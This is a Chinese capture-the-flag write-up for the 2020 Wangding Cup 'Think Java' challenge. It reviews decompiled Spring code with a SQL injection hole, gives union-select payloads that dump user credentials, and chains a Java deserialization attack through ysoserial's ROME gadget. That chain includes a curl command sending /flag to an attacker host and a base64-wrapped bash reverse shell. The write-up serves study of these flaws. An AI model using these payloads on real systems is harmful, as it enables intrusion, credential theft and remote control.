[网鼎杯 2020 朱雀组]Think Java
文章目录
获取源文件
下载jar包,扔进jd-gui查看源码
主要是4个文件
Test.java
接收dbName参数,然后调用getTableData
方法
package ;
import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
@PostMapping({"/sqlDict"})
@Access
@ApiOperation(")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}
Row.java
定义了一个Row类
package .sqldict;
public class Row {
String name;
String type;
String def;
String isNull;
String isAuto;
String remark;
String isPK;
String size;
public String getIsPK() {
return this.isPK;
}
public void setIsPK(String isPK) {
this.isPK = isPK;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String getType() {
return this.type;
}
public void setType(String type) {
this.type = type;
}
public String getDef() {
return this.def;
}
public void setDef(String def) {
this.def = def;
}
public String getIsNull() {
return this.isNull;
}
public void setIsNull(String isNull) {
this.isNull = isNull;
}
public String getIsAuto() {
return this.isAuto;
}
public void setIsAuto(String isAuto) {
this.isAuto = isAuto;
}
public String getRemark() {
return this.remark;
}
public void setRemark(String remark) {
this.remark = remark;
}
public String getSize() {
return this.size;
}
public void setSize(String size) {
this.size = size;
}
public Row() {}
public Row(String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) {
this.name = name;
this.type = type;
this.def = def;
this.isNull = isNull;
this.isAuto = isAuto;
this.remark = remark;
this.isPK = isPK;
this.size = size;
}
}
SqlDict.java
连接数据库,其中sql语句处存在sql注入漏洞
package .sqldict;
import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
public class SqlDict {
public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;
try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}
if (user == null || dbName.equals(""))
user = "root";
if (pass == null || dbName.equals(""))
pass = "abc@12345";
conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}
return conn;
}
public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList<>();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";
try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });
while (tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next())
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
String PK;
for (PK = ""; rs2.next(); PK = rs2.getString(4));
while (data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}
Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}
return Tables;
}
}
Table.java
package .sqldict;
import cn.abc.core.sqldict.Row;
import java.util.ArrayList;
import java.util.List;
public class Table {
String tableName;
String tableDescribe;
List<Row> list = new ArrayList<>();
public String getTableDescribe() {
return this.tableDescribe;
}
public void setTableDescribe(String tableDescribe) {
this.tableDescribe = tableDescribe;
}
public String getTableName() {
return this.tableName;
}
public void setTableName(String tableName) {
this.tableName = tableName;
}
public List<Row> getList() {
return this.list;
}
public void setList(List<Row> list) {
this.list = list;
}
}
Swagger
注意看Test.java,导入了swagger这个东西
查一下资料
swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
查资料会查到swagger-ui.html
访问swagger-ui.html
,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入
至于login和current,题目给我们jar包时候说了只给了部分class文件,不过login应该是登录用的
JDBC sql注入
关于#的使用
参考guoke师傅的解释
在url中#
表示锚点,表示网页中的一个位置,比如http:xxx/index.html#aaa
,浏览器读取这个url,会将aaa
移到可视位置。在第一个#
,都会被视为位置标识符,不会被发送到服务端
而jdbc类似于url解析,所以会忽略#
后面的字符
而#
又是sql注入中的注释符,如果我们需要在url中传#
,那么需要进行url编码为%23
查看数据库名字
select schema_name from information_schema.schemata;
效果相当于show databases;
获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys
获取表名
dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user
获取字段名
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd
获取字段值
dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde
所以就得到一个用户信息
序号为1
,name为admin
,密码为admin@Rrrr_ctf_asde
然后将用户名和密码在/common/user/login
处提交,获取一串字符串
{
"password": "admin@Rrrr_ctf_asde",
"username": "admin"
}
将这段字符串放到/common/user/current
处提交,然后就会发现回显了这个用户的信息
对序列化字符串分析
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
引用Mustapha Mond
师傅的解释
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner插件使用
使用burpsuite的java Deserialization Scanner
插件对其进行分析,在extender中安装这个插件
然后配置一下环境变量
然后抓包,将其发送到插件中
然后选择base64开始扫描,结果回显ROME
有可能
接下来使用ysoserial打
ysoserial
curl将flag带出来
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:7015 -d @/flag" > a.bin
a.py,python3环境运行
# -*- coding: UTF-8 -*-
import base64
file = open("a.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
注意回显的字符串特征,看下大佬的技巧
注意最后提交的时候,要在前面加上Bearer
注意提前监听端口
然后在/common/user/current
这里提交
监听处得flag
反弹shell
或者弹shell,弹shell操作参考链接
bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}" > a.bin
python a.py
将生成的java序列化后的值传进/common/user/current
监听端口,得shell